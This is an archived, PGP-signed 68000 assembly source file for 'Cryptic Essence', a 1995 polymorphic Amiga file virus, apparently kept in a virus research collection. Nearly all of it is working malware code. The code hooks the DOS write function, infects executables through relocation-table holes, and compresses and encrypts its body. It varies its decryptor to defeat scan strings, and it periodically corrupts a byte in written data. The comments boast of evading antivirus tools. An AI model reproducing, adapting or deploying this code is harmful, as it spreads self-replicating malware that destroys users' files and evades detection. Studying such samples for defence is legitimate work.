home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / CJEZUS_VIRUS / CE_ASM.ASC < prev    next >
PGP Signed Message  |  1999-06-12  |  14KB  |  608 lines

  1. -----BEGIN PGP SIGNED MESSAGE-----
  2.  
  3.  ******************************************************************
  4.  *                                                                *
  5.  *             Cryptic Essence (c) 1995 By Evil Jesus             *
  6.  *                                                                *
  7.  * the world is fucked and so am i maybe it's the other way round *
  8.  *                                                                *
  9.  ******************************************************************
  10.  
  11.  * note: some oddities in code are due phxass's difficulties to calculate
  12.  *       right values in label (+-) label operations.
  13.  
  14.     OPT    !
  15.     MACHINE    68000
  16.  
  17.     XDEF    _write_link
  18.     XDEF    _debug_ce
  19.     XDEF    _check_vir
  20.  
  21.     XDEF    _comp_size
  22.     XDEF    _nocomp_size
  23.     XDEF    _vir_size
  24.     XDEF    _linkspace
  25.     XDEF    _relochole
  26.     XDEF    _maxadr
  27.     XDEF    _agression
  28.     XDEF    _polywait
  29.  
  30.     include    "exec/types.i"
  31.     include    "exec/funcdef.i"
  32.     include    "exec/libraries.i"
  33.     include    "exec/exec_lib.i"
  34.     include    "exec/memory.i"
  35.  
  36. LINKSPACE  = 6        ; space need for link vector in start of file
  37. RELOCHOLE  = 9216    ; relocation hole need for viruscode (div by 4)
  38. MAXADR       = 32766    ; maximum offset for hole
  39. AGRESSION  = 1024    ; how often to corrupt write calls
  40. POLYWAIT   = 50        ; how often use long link
  41.  
  42. ; for debugging infector
  43. ; a0 dosbase
  44. _debug_ce    move.l    -48+2(a0),write_old
  45.         rts
  46.  
  47. _check_vir    move.l    write_infect,d0
  48.         rts
  49.  
  50. _comp_size    dc.l    comp_e-comp_s
  51. _nocomp_size    dc.l    nocomp_e-nocomp_s
  52. _vir_size    dc.l    vir_e-vir_s
  53. _linkspace    dc.l    LINKSPACE
  54. _relochole    dc.l    RELOCHOLE
  55. _maxadr        dc.l    MAXADR
  56. _agression    dc.l    AGRESSION
  57. _polywait    dc.l    POLYWAIT
  58.  
  59.         cnop    0,4
  60.  
  61. vir_s:
  62. comp_s:
  63.  
  64. ; *******************************************************************
  65. ; dos write function link (no code before this!)
  66. ; d1 file
  67. ; d2 buffer
  68. ; d3 length
  69. _write_link    movem.l    d2-d7/a2-a6,-(sp)
  70.         link    a3,#-12
  71.         lea    b,a4
  72.         movem.l    d1-d3,(a3)
  73.         move.l    write_old-b(a4),a5
  74.         add.l    #1,write_count-b(a4)
  75.         move.l    d2,a0
  76.         move.l    d3,d0
  77.         bsr    find_hole
  78.         tst.l    d0
  79.         beq    .normal
  80.         bsr    infect
  81.         tst.l    d0
  82.         beq    .nosuccess
  83.         movem.l    (a3),d1-d3        ; save virus and rest of data
  84.         jsr    (a5)
  85. .nosuccess    bsr    fix_infect        ; remember to save d0
  86.         bra    .exit
  87.  
  88. .normal        movem.l    (a3),d1-d3
  89.         subq.w    #1,write_wait-b(a4)
  90.         bpl    .write
  91.         move.w    #AGRESSION,write_wait-b(a4)
  92.         add.l    #1,write_err-b(a4)
  93.         move.l    d2,a2
  94.         move.l    d3,d0
  95.         lsr.l    #1,d0
  96.         add.l    d0,a2
  97.         not.b    (a2)
  98.         jsr    (a5)
  99.         not.b    (a2)
  100.         bra    .exit
  101. .write        jsr    (a5)
  102. .exit        unlk    a3
  103.         movem.l    (sp)+,d2-d7/a2-a6
  104.         rts
  105.  
  106. ; *******************************************************************
  107. ; search reloc hole from data
  108. ;  a0 mem
  109. ;  d0 size
  110. ; d0 success
  111. find_hole    movem.l    d2-d7/a2-a6,-(sp)
  112.  
  113.         moveq    #0,d7
  114.         cmp.l    #RELOCHOLE,d0        ; no point checking if smaller
  115.         blo    .notexe
  116.         move.l    a0,d1
  117.         btst    #0,d1            ; aligment?
  118.         bne    .notexe
  119.         cmp.l    #$3f3,(a0)        ; exe?
  120.         bne    .notexe
  121.         tst.l    4(a0)
  122.         bne    .notexe
  123.         move.l    8(a0),d1        ; hunk count
  124.         lsl.l    #2,d1
  125.         lea    28(a0,d1.l),a1        ; first hunk
  126.         move.l    a1,hunk_code-b(a4)
  127.         cmp.l    #$3e9,-8(a1)        ; code hunk?
  128.         bne    .notexe
  129.         cmp.w    #$4afc,2(a1)        ; exclude libraries & devices
  130.         beq    .notexe            ; (rude check)
  131.         cmp.w    #$4e75,2(a1)
  132.         beq    .notexe
  133.         cmp.w    #$4e75,4(a1)
  134.         beq    .notexe
  135.         cmp.w    #$4afc,4(a1)
  136.         beq    .notexe
  137.  
  138.         move.l    -4(a1),d1
  139.         lsl.l    #2,d1
  140.         cmp.l    #RELOCHOLE,d1        ; enough data in codehunk
  141.         blo    .notexe
  142.         lea    (a1,d1.l),a2        ; reloc-32 start
  143.         lea    -4(a0,d0.l),a3        ; data end
  144.         cmp.l    a3,a2
  145.         bhi    .notexe
  146.         cmp.l    #$3ec,(a2)        ; reloc hunk?
  147.         bne    .noreloc
  148.  
  149.         moveq    #0,d2            ; calculate reloc count
  150.         lea    4(a2),a0
  151. .calc        cmp.l    a3,a0
  152.         bhi    .notexe
  153.         move.l    (a0),d0
  154.         beq    .calcdone
  155.         add.l    d0,d2
  156.         lsl.l    #2,d0
  157.         lea    8(a0,d0.l),a0
  158.         bra    .calc
  159.  
  160. .calcdone    move.l    d2,d0
  161.         lsl.l    #2,d0
  162.         moveq    #0,d1
  163.         move.l    $4.w,a6
  164.         CALLLIB    _LVOAllocVec
  165.         move.l    d0,d7
  166.         beq    .notexe
  167.         lea    4(a2),a0        ; sort hunk
  168.         move.l    d0,a1
  169.         move.l    d2,d0
  170.         bsr    _sort_hunk        
  171.  
  172.         move.l    d2,d0            ; search reloc hole
  173.         move.l    d7,a0
  174.         move.l    (a0),d2
  175.         cmp.l    #LINKSPACE,d2
  176.         blo    .notexe
  177.         moveq    #2,d1
  178. .loop        move.l    (a0)+,d2
  179.         cmp.l    #MAXADR,d2
  180.         bhi    .notexe
  181.         move.l    d2,d3
  182.         sub.l    d1,d2
  183.         cmp.l    #RELOCHOLE+4,d2
  184.         bhs    .hit
  185.         move.l    d3,d1
  186.         subq.l    #1,d0
  187.         bne    .loop
  188.         move.l    hunk_code-b(a4),a0
  189.         move.l    -4(a0),d2
  190.         lsl.l    #2,d2
  191.         sub.l    d1,d2
  192.         cmp.l    #RELOCHOLE+4,d2
  193.         bhs    .hit
  194.         bra    .notexe
  195. .hit        move.l    hunk_code-b(a4),a0
  196.         add.l    d1,a0
  197.         add.l    #4,a0
  198.         move.l    a0,hunk_hole-b(a4)
  199.         moveq    #1,d6
  200.         bra    .exit
  201. .noreloc    move.l    hunk_code-b(a4),a0
  202.         add.l    #LINKSPACE,a0
  203.         move.l    a0,hunk_hole-b(a4)
  204.         moveq    #1,d6
  205.         bra    .exit
  206. .notexe        moveq    #0,d6
  207. .exit        tst.l    d7
  208.         beq    .no_free
  209.         move.l    d7,a1
  210.         CALLLIB    _LVOFreeVec
  211. .no_free    move.l    d6,d0
  212.  
  213.         movem.l    (sp)+,d2-d7/a2-a6
  214.         rts
  215.  
  216. ; *******************************************************************
  217. ; compress hole and virus together and prepare memory
  218. ; d0 success
  219. infect        movem.l    d2-d7/a2-a6,-(sp)
  220.  
  221.     * we need to allocate two buffers due compressor implementation
  222.         move.l    #RELOCHOLE+128,d0
  223.         add.l    #comp_e-comp_s,d0
  224.         lsl.l    #1,d0
  225.         moveq    #0,d1
  226.         move.l    $4.w,a6
  227.         CALLLIB    _LVOAllocVec
  228.         move.l    d0,hunk_comp-b(a4)
  229.         beq    .nocomp
  230.  
  231.         move.l    hunk_hole-b(a4),d0    ; distance to save
  232.         sub.l    hunk_code-b(a4),d0
  233.         move.w    d0,run_reloc-b(a4)
  234.         move.l    hunk_code-b(a4),a0    ; copy jump vector to save
  235.         lea    linksafe,a1
  236.         move.w    #LINKSPACE-1,d0
  237. .loop3        move.b    (a0)+,(a1)+
  238.         dbf    d0,.loop3
  239.  
  240.         move.l    hunk_comp-b(a4),a1
  241.         move.l    hunk_hole-b(a4),a0    ; copy relochole to save
  242.         move.w    #[RELOCHOLE/4]-1,d0
  243. .loop        move.l    (a0)+,(a1)+
  244.         dbf    d0,.loop
  245.         lea    comp_s,a0        ; copy virus to save
  246.         move.w    #comp_e-comp_s,d0
  247.         lsr.w    #2,d0
  248.         subq.w    #1,d0
  249. .loop2        move.l    (a0)+,(a1)+
  250.         dbf    d0,.loop2
  251.  
  252.         move.l    hunk_comp-b(a4),a0    ; pack data
  253.         move.l    #RELOCHOLE,d0
  254.         add.l    #comp_e-comp_s,d0
  255.         move.l    a0,a1
  256.         add.l    d0,a1
  257.         bsr    pack
  258.         tst.l    d0
  259.         beq    .nocomp
  260.         move.l    hunk_comp-b(a4),a0    ; check if packed enough
  261.         add.l    #RELOCHOLE,a0
  262.         add.l    #comp_e-comp_s,a0
  263.         move.l    (a0),d0
  264.         add.l    #nocomp_e-nocomp_s,d0
  265.         add.l    #8,d0
  266.         cmp.l    #RELOCHOLE,d0
  267.         bls    .compok
  268.         clr.l    (a0)
  269.         bra    .nocomp
  270. .compok
  271.  
  272.     * header/data copy
  273.  
  274.         lea    nocomp_s,a0
  275.         move.l    hunk_hole-b(a4),a1
  276.         move.w    #nocomp_e-nocomp_s,d0
  277.         lsr.w    #2,d0
  278.         subq.w    #1,d0
  279. .loop4        move.l    (a0)+,(a1)+
  280.         dbf    d0,.loop4
  281.  
  282.         move.l    hunk_comp-b(a4),a0    ; packed data
  283.         add.l    #RELOCHOLE,a0
  284.         add.l    #comp_e-comp_s,a0
  285.         move.l    (a0),d0
  286.         add.l    #4,d0
  287.         lsr.w    #2,d0
  288. .loop5        move.l    (a0)+,(a1)+
  289.         dbf    d0,.loop5
  290.  
  291.     * jump vector (including surprise for killers who don't examine code) *
  292.  
  293.         move.l    hunk_code-b(a4),a2
  294.         move.w    run_reloc-b(a4),d0
  295.         sub.w    #2,d0
  296.         sub.w    #1,poly_link-b(a4)
  297.         bpl    .giggle
  298.         move.w    #POLYWAIT,poly_link-b(a4)
  299.         sub.w    #2,d0
  300.         move.w    #$4e71,(a2)+
  301. .giggle        move.w    #$4efa,(a2)+        ; add jmp to start of hunk
  302.         move.w    d0,(a2)
  303.  
  304.     * the real magic begins... *
  305.  
  306.         move.w    $dff00a,d1        ; 'random' key
  307.         move.w    $dff006,d2        ; 'random' add
  308.         move.b    $bfe601,d3        ; add/sub mode
  309.         move.l    hunk_hole-b(a4),a0
  310.         add.w    #crypt_s-nocomp_s,a0
  311.         move.w    #RELOCHOLE/2,d0
  312.         sub.w    #crypt_s-nocomp_s,d0
  313.         lsr.w    #1,d0
  314.         move.w    d0,d4            ; crypt size
  315.         move.w    d1,d5
  316. .loop6        eor.w    d5,(a0)+        ; crypt data
  317.         tst.b    d3
  318.         bpl    .addmode
  319.         sub.w    d2,d5
  320.         bra    .more
  321. .addmode    add.w    d2,d5
  322. .more        dbf    d0,.loop6
  323.  
  324.         move.l    hunk_hole-b(a4),a0
  325.         move.w    d1,sp00-nocomp_s+2(a0)        ; put key
  326.         move.w    d4,sp02-nocomp_s+2(a0)        ; put size
  327.         move.w    #$0640,sp05-nocomp_s(a0)    ; opcode: add
  328.         tst.b    d3
  329.         bpl    .putadd
  330.         move.w    #$0440,sp05-nocomp_s(a0)    ; opcode: sub
  331. .putadd        move.w    d2,sp05-nocomp_s+2(a0)        ; put value
  332.  
  333.     * Simple Polymorph Engine (SpE) *
  334.  
  335. ; add.w  #$0000,dx    ; %0000000000000xxx
  336. ; sub.w  #$0000,dx      ; %0000000000000xxx
  337. ; dbf    dx,label    ; %0000000000000xxx
  338. ; move.w #$0000,dx    ; %0000xxx000000000
  339. ; eor.w  dx,(ay)+    ; %0000xxx000000yyy
  340. ; lea    label(pc),ay    ; %0000yyy000000000
  341.  
  342.         moveq    #9,d3
  343.         move.w    poly_a-b(a4),d0
  344.         add.w    #1,d0
  345.         cmp.w    #5,d0
  346.         bls    .adrok
  347.         moveq    #0,d0
  348. .adrok        move.w    d0,poly_a-b(a4)
  349.         move.w    #%1111111111111000,d2
  350.         and.w    d2,sp04-nocomp_s(a0)        ; eor
  351.         or.w    d0,sp04-nocomp_s(a0)
  352.         move.w    #%1111000111111111,d2
  353.         lsl.w    d3,d0
  354.         and.w    d2,sp03-nocomp_s(a0)        ; lea
  355.         or.w    d0,sp03-nocomp_s(a0)
  356.  
  357.         move.w    poly_d-b(a4),d0
  358.         add.w    #1,d0
  359.         cmp.w    #7,d0
  360.         bls    .datok
  361.         moveq    #0,d0
  362. .datok        move.w    d0,poly_d-b(a4)
  363.         move.w    d0,d1
  364.         add.w    #1,d1
  365.         cmp.w    #7,d1
  366.         bls    .datok2
  367.         moveq    #0,d1
  368. .datok2:    move.w    #%1111111111111000,d2
  369.         and.w    d2,sp05-nocomp_s(a0)        ; add/sub
  370.         or.w    d0,sp05-nocomp_s(a0)
  371.         and.w    d2,sp06-nocomp_s(a0)        ; dbf
  372.         or.w    d1,sp06-nocomp_s(a0)
  373.         move.w    #%1111000111111111,d2
  374.         lsl.w    d3,d0
  375.         lsl.w    d3,d1
  376.         and.w    d2,sp00-nocomp_s(a0)        ; move
  377.         or.w    d0,sp00-nocomp_s(a0)
  378.         and.w    d2,sp04-nocomp_s(a0)        ; eor
  379.         or.w    d0,sp04-nocomp_s(a0)
  380.         and.w    d2,sp02-nocomp_s(a0)        ; move
  381.         or.w    d1,sp02-nocomp_s(a0)
  382.  
  383.     * magic ends, now it is harder to select scan string
  384. .skip
  385.         add.l    #1,write_infect-b(a4)
  386.         moveq    #1,d0
  387.         bra    .exit
  388. .nocomp        moveq    #0,d0
  389. .exit:        movem.l    (sp)+,d2-d7/a2-a6
  390.         rts
  391.  
  392. ; *******************************************************************
  393. ; repair possible damage done by infect and free everything
  394. ; (note: all registersmust be saved)
  395. fix_infect    movem.l    d0-d7/a0-a6,-(sp)
  396.         move.l    hunk_comp-b(a4),d0
  397.         beq    .no_free
  398.         move.l    d0,a0            ; check if memory file was modified
  399.         add.l    #RELOCHOLE,a0
  400.         add.l    #comp_e-comp_s,a0
  401.         tst.l    (a0)
  402.         beq    .free_only
  403.         move.l    d0,a1            ; copy relochole back
  404.         move.l    hunk_hole-b(a4),a0
  405.         move.w    #[RELOCHOLE/4]-1,d1
  406. .loop        move.l    (a0)+,(a1)+
  407.         dbf    d1,.loop
  408.         lea    linksafe,a0        ; copy jump vector back
  409.         move.l    hunk_code-b(a4),a1
  410.         move.w    #LINKSPACE-1,d1
  411. .loop3        move.b    (a0)+,(a1)+
  412.         dbf    d1,.loop3
  413. .free_only    move.l    d0,a1
  414.         move.l    $4.w,a6
  415.         CALLLIB    _LVOFreeVec
  416. .no_free    clr.l    hunk_comp-b(a4)
  417.         movem.l    (sp)+,d0-d7/a0-a6
  418.         rts
  419.  
  420. ; *******************************************************************
  421. ; repair runned file and install virus to memory
  422. ; a3 header adr
  423. ; a5 start of this memory
  424. ; d5 size of this memory
  425. ; a6 exec
  426. run_code
  427.         CALLLIB    _LVOForbid
  428.         lea    b,a4
  429.         move.l    a3,a0            ; program run adr
  430.         sub.w    run_reloc-b(a4),a0
  431.         move.l    a0,linkjmp-b+2(a4)
  432.         lea    dosname,a1
  433.         moveq    #36,d0
  434.         CALLLIB    _LVOOpenLibrary
  435.         tst.l    d0
  436.         beq    .repair
  437.         move.l    d0,a2
  438.         move.l    d0,a1
  439.         CALLLIB    _LVOCloseLibrary
  440.         move.l    -48+2(a2),d0
  441.         move.l    d0,write_old-b(a4)
  442.         cmp.l    #$00f00000,d0        ; rekicked won't be active...
  443.         blo    .repair
  444.         cmp.l    #$00ffffff,d0
  445.         bhi    .repair
  446.         move.l    #vir_e-vir_s,d0        ; alloc mem for both parts
  447.         move.l    #0,d1
  448.         CALLLIB    _LVOAllocMem
  449.         move.l    d0,d7
  450.         beq    .repair
  451.         clr.l    hunk_comp-b(a4)
  452.         lea    comp_s,a0        ; copy compcode
  453.         move.l    d7,a1
  454.         move.w    #comp_e-comp_s,d0
  455.         lsr.w    #2,d0
  456.         subq.w    #1,d0
  457. .loop        move.l    (a0)+,(a1)+
  458.         dbf    d0,.loop
  459.         move.l    a3,a0            ; copy nocompcode (header)
  460.         move.w    #nocomp_e-nocomp_s,d0
  461.         lsr.w    #2,d0
  462.         subq.w    #1,d0
  463. .loop2        move.l    (a0)+,(a1)+
  464.         dbf    d0,.loop2
  465.         move.l    d7,-48+2(a2)        ; activate CE
  466.  
  467. .repair        lea    linksafe-b(a4),a0    ; link back
  468.         move.l    linkjmp-b+2(a4),a1
  469.         moveq    #LINKSPACE-1,d1
  470. .loop3        move.b    (a0)+,(a1)+
  471.         dbf    d1,.loop3
  472.         move.l    a5,a0            ; relochole back
  473.         move.l    a3,a1
  474.         move.w    #[RELOCHOLE/4]-1,d1
  475. .loop4        move.l    (a0)+,(a1)+
  476.         dbf    d1,.loop4
  477.         cmp.w    #$4ef9,_LVOCacheClearU(a6)
  478.         bne    .kick13
  479.         jsr    _LVOCacheClearU(a6)
  480. .kick13        move.l    a5,a1
  481.         move.l    d5,d0
  482.         CALLLIB    _LVOFreeMem
  483.         CALLLIB    _LVOPermit
  484.         movem.l    (sp)+,d0-d7/a0-a6    ; crash is possible...
  485. linkjmp        jmp    $43453130
  486.  
  487. ; *******************************************************************
  488. ; sort data
  489. ; a0 source longwords
  490. ; a1 target area
  491. ; d0 count
  492. _sort_hunk
  493.         movem.l    a1/d0,-(sp)
  494. .next        move.l    (a0),d0
  495.         beq    .done
  496.         add.l    #8,a0
  497. .loop        move.l    (a0)+,(a1)+
  498.         subq.l    #1,d0
  499.         bne    .loop
  500.         bra    .next
  501. .done        movem.l    (sp)+,a0/d0
  502.  
  503.         include    "lqsort.asm"
  504.  
  505.         EVEN
  506.  
  507. ; *******************************************************************
  508. ; compress data
  509. ;  a0 source
  510. ;  a1 target
  511. ;  d0 source size
  512. ;  d1 target size
  513. ; d0 success
  514. pack        include    "compressor.asm"
  515.  
  516. *** data ***
  517.  
  518. b:
  519.  
  520. hunk_code    dc.l    0        ; codehunk adr
  521. hunk_hole    dc.l    0        ; relochole adr
  522. hunk_comp    dc.l    0        ; relochole save & virus
  523. write_old    dc.l    0        ; old write function address
  524. write_count    dc.l    0        ; write call count (total)
  525. write_err    dc.l    0        ; write call count (corrupted)
  526. write_infect    dc.l    0        ; write call count (infected)
  527. write_wait    dc.w    AGRESSION    ; corruption wait
  528. poly_link    dc.w    POLYWAIT    ; trap for viruskillers
  529. poly_a        dc.w    0
  530. poly_d        dc.w    0
  531. linksafe    blk.b    LINKSPACE,0    ; old code in start of hunk
  532. run_reloc    dc.w    0        ; distance between hole and codehunk start
  533.  
  534. *** strings ***
  535.  
  536.     dc.b    "Cryptic Essence, © 1995 Evil Jesus (maximum false positive) "
  537.     dc.b    "Extra thanks for Vesselin Bontchev for giving valueable "
  538.     dc.b    "information how to reach maximum damage in essee 'Future "
  539.     dc.b    "Trends in Virus Writing'"
  540. dosname    dc.b    "dos.library",0
  541.     cnop    0,4
  542.  
  543. comp_e:
  544.  
  545. ; --- this part cannot be compressed ---
  546.  
  547. nocomp_s:
  548.  
  549. ; visible header (SpE coded)
  550.         movem.l    d0-d7/a0-a6,-(sp)
  551. sp00        move.w    #$4345,d0
  552. sp01        move.l    $4.w,a6
  553. sp02        move.w    #$1234,d1
  554. sp03        lea    crypt_s(pc),a0
  555. sp04        eor.w    d0,(a0)+
  556. sp05        add.w    #$3934,d0    ; add/sub
  557. sp06        dbf    d1,sp04
  558. sp07        cmp.w    #$4ef9,_LVOCacheClearU(a6)
  559. sp08        bne    crypt_s
  560. sp09        jsr    _LVOCacheClearU(a6)
  561.  
  562. ; some killers will decrypt this using header key, solution must be
  563. ; found to hide it better... fortunately code can be rewritten easily
  564. ; without fear of multiple infections of variants!
  565.  
  566. crypt_s:
  567.         move.l    #RELOCHOLE+256,d0
  568.         add.l    #comp_e-comp_s,d0
  569.         move.l    d0,d5
  570.         move.l    #0,d1
  571.         CALLLIB    _LVOAllocMem
  572.         tst.l    d0
  573.         beq    .fail
  574.         move.l    d0,a5
  575.         lea    nocomp_e,a0
  576.         move.l    d0,a1
  577.         bsr    depack
  578.         cmp.w    #$4ef9,_LVOCacheClearU(a6)
  579.         bne    .kick13
  580.         jsr    _LVOCacheClearU(a6)
  581. .kick13        lea    nocomp_s,a3
  582.         lea    RELOCHOLE(a5),a0
  583.         add.l    #run_code-comp_s,a0
  584.         jmp    (a0)
  585. .fail:        movem.l    (sp)+,d0-d7/a0-a6
  586.         move.l    #20,d0
  587.         rts
  588.  
  589. ; *******************************************************************
  590. ; decompress data
  591. ;  a0 source
  592. ;  a1 target
  593. depack        include    "decompressor.asm"
  594.         cnop    0,4
  595. nocomp_e:
  596.  
  597. ; --- compressed data follows ---
  598.  
  599. vir_e:
  600.  
  601. -----BEGIN PGP SIGNATURE-----
  602. Version: 2.6ui (Amiga)
  603.  
  604. iQBFAgUBMFQGSY3j8jX6L7S9AQE9NAF/VwqG1gb2rjJ7+Hpk3UXpWMDoa/L+CgDx
  605. xkgGgpETv/OuqDsOXK/pWmD4XM6q7HFh
  606. =/r5A
  607. -----END PGP SIGNATURE-----
  608.